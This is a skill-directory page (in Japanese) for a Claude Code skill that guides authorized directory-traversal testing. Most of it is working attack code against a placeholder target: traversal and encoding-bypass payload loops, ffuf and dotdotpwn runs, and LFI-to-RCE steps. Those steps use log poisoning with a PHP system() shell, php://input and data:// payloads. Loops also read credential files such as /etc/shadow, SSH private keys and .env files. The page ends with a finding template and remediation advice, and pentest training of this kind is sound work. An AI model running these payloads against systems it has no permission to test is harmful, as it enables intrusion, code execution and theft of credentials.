mcpField
P
performing-directory-traversal-testing

performing-directory-traversal-testing

github.com/mukul975セキュリティ35.2k154 回インストール8 週間前に更新
リポジトリ

performing-directory-traversal-testing について

許可を得たペネトレーションテスト担当者向けのディレクトリトラバーサル検証ガイドです。パスパラメーターの特定、エンコードやフィルターの回避、自動テスト、LFIの確認、報告を扱います。

主な機能

  1. 01ファイルパスパラメーターの特定
  2. 02トラバーサルとエンコード回避の検証
  3. 03ffufとdotdotpwnの利用
  4. 04機密ファイルとLFIの確認
  5. 05脆弱性所見の記録

活用シーン

  1. 01ファイルのダウンロード・表示機能の評価
  2. 02ファイルパスを受け取るAPIのテスト
  3. 03テンプレートやログのインクルードリスクの確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-directory-traversal-testing

インストール後、Claude Code で/performing-directory-traversal-testingを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

ディレクトリトラバーサルテストの実施

使用する場面

  • アプリケーションが URL パラメーターやリクエストボディでファイルパスを扱う場合の、許可された侵入テスト中
  • ファイルのダウンロード、表示、インクルード機能をテストする場合
  • ローカルファイルインクルージョン(LFI)およびリモートファイルインクルージョン(RFI)の脆弱性を評価する場合
  • ファイルを参照するテンプレートエンジン、ロギングシステム、レポートジェネレーターを評価する場合
  • ファイル名やパスをパラメーターとして受け付ける API のセキュリティ評価中

前提条件

  • 許可:対象に対する書面での侵入テスト契約
  • Burp Suite Professional:ファイルパスパラメーターをインターセプトして変更するために使用します
  • ffuf:トラバーサルペイロードを使ってファイルパスパラメーターをファジングするために使用します
  • dotdotpwn:ディレクトリトラバーサル用の自動ファザー(apt install dotdotpwn)
  • SecLists:Daniel Miessler のコレクションに含まれるトラバーサルペイロードのワードリスト
  • curl:トラバーサルペイロードを手動でテストするために使用します

ワークフロー

ステップ 1:ファイルパスパラメーターを特定する

パラメーターを通じてファイルを参照するアプリケーションのエンドポイントを見つけます。

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"
ステップ 2:基本的なディレクトリトラバーサルペイロードをテストする

意図されたディレクトリから抜け出し、機密ファイルの読み取りを試みます。

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done
ステップ 3:エンコードとフィルター回避の手法を適用する

さまざまなエンコード方式を使って、入力検証フィルターを回避します。

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"
ステップ 4:ffuf と dotdotpwn で自動化する

自動化ツールを使って、包括的なトラバーサルテストを行います。

# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \
  -t 20 -rate 50 \
  -o traversal-results.json -of json

# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
  -u "https://target.example.com/download?file=TRAVERSAL" \
  -k "root:" \
  -o /tmp/dotdotpwn-results.txt \
  -d 8 -t 200

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches
ステップ 5:コード実行を目的としてローカルファイルインクルージョン(LFI)をテストする

LFI が確認された場合は、リモートコード実行へのエスカレーションを試みます。

# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  "https://target.example.com/"

# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# PHP wrapper for code execution
curl -s -X POST \
  -d "<?php system('id'); ?>" \
  "https://target.example.com/page?file=php://input"

# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="

# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
  "https://target.example.com/page?file=../../../proc/self/environ"

# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>
ステップ 6:価値の高いファイルを読み取る

機密性の高い設定ファイルや認証情報ファイルを対象にします。

# Linux high-value files
HIGH_VALUE_LINUX=(
  "/etc/passwd"
  "/etc/shadow"
  "/etc/hosts"
  "/etc/hostname"
  "/proc/self/environ"
  "/proc/self/cmdline"
  "/var/www/html/.env"
  "/var/www/html/config.php"
  "/var/www/html/wp-config.php"
  "/home/user/.ssh/id_rsa"
  "/home/user/.bash_history"
  "/root/.bash_history"
  "/var/log/auth.log"
)

for file in "${HIGH_VALUE_LINUX[@]}"; do
  traversal="../../../../../../..$file"
  echo -n "$file: "
  response=$(curl -s "https://target.example.com/download?file=$traversal")
  if [ ${#response} -gt 10 ]; then
    echo "READABLE (${#response} bytes)"
  else
    echo "Not accessible"
  fi
done

# Windows high-value files
HIGH_VALUE_WIN=(
  "C:\\Windows\\win.ini"
  "C:\\Windows\\System32\\drivers\\etc\\hosts"
  "C:\\inetpub\\wwwroot\\web.config"
  "C:\\Users\\Administrator\\.ssh\\id_rsa"
  "C:\\xampp\\apache\\conf\\httpd.conf"
  "C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)

主要な概念

概念説明
ディレクトリトラバーサル../ の並びを使って親ディレクトリへ移動し、意図されたパスの外にあるファイルにアクセスすること
ローカルファイルインクルージョン(LFI)サーバー側でローカルファイルをインクルードすること。コード実行につながる可能性があります
リモートファイルインクルージョン(RFI)外部 URL からファイルをインクルードすること(PHP で allow_url_include=On が必要です)
ヌルバイトインジェクション%00 を使ってファイルパスを切り詰め、古い PHP バージョンで拡張子チェックを回避すること
PHP ラッパーファイルの読み取りや実行に使用する php://filter、php://input、data:// などのプロトコル
ログポイズニングログファイルにコードを挿入し、LFI を使ってそのログファイルをインクルードすることでコードを実行すること
パスの正規化相対パスを絶対パスに解決する処理。悪用される可能性があります

ツールとシステム

ツール用途
Burp Suite Professionalリクエストのインターセプトと、自動ペイロードテスト用の Intruder
ffufLFI/トラバーサル用ワードリストを使った高速なファジング
dotdotpwn複数のトラバーサルパターンに対応した、専用のディレクトリトラバーサルファザー
LFISuite複数の手法に対応した LFI の自動悪用ツール
SecListsLFI ペイロードやトラバーサルパターンを含む包括的なワードリスト
KadimusLFI のスキャンおよび悪用ツール

よくあるシナリオ

シナリオ 1:ファイルダウンロードのトラバーサル

/download?file=report.pdf のドキュメントダウンロードエンドポイントでは、file パラメーターが検証されていません。値を ../../../etc/passwd に置き換えると、サーバーのパスワードファイルが返されます。

シナリオ 2:テンプレート LFI から RCE へ

PHP アプリケーションは ?page=home を通じてテンプレートをインクルードします。User-Agent ヘッダーに PHP コードを含めて Apache のアクセスログを汚染し、その後ログファイルをインクルードすることで、攻撃者はリモートコード実行を達成します。

シナリオ 3:画像パストラバーサル

画像リサイズサービスは ?src=images/photo.jpg を受け付けます。アプリケーションは ../ を 1 回だけ除去し、再帰的には処理しないため、....//....//etc/passwd でフィルターを回避できます。

シナリオ 4:Windows IIS 設定ファイルの漏えい

.NET アプリケーションが ?path=docs\manual.pdf を介してファイルを提供しています。..\..\web.config へ移動すると、データベースの接続文字列を含む IIS 設定ファイルが公開されます。

出力形式

## Directory Traversal Finding

**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd

### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |

### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`

### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required

コメント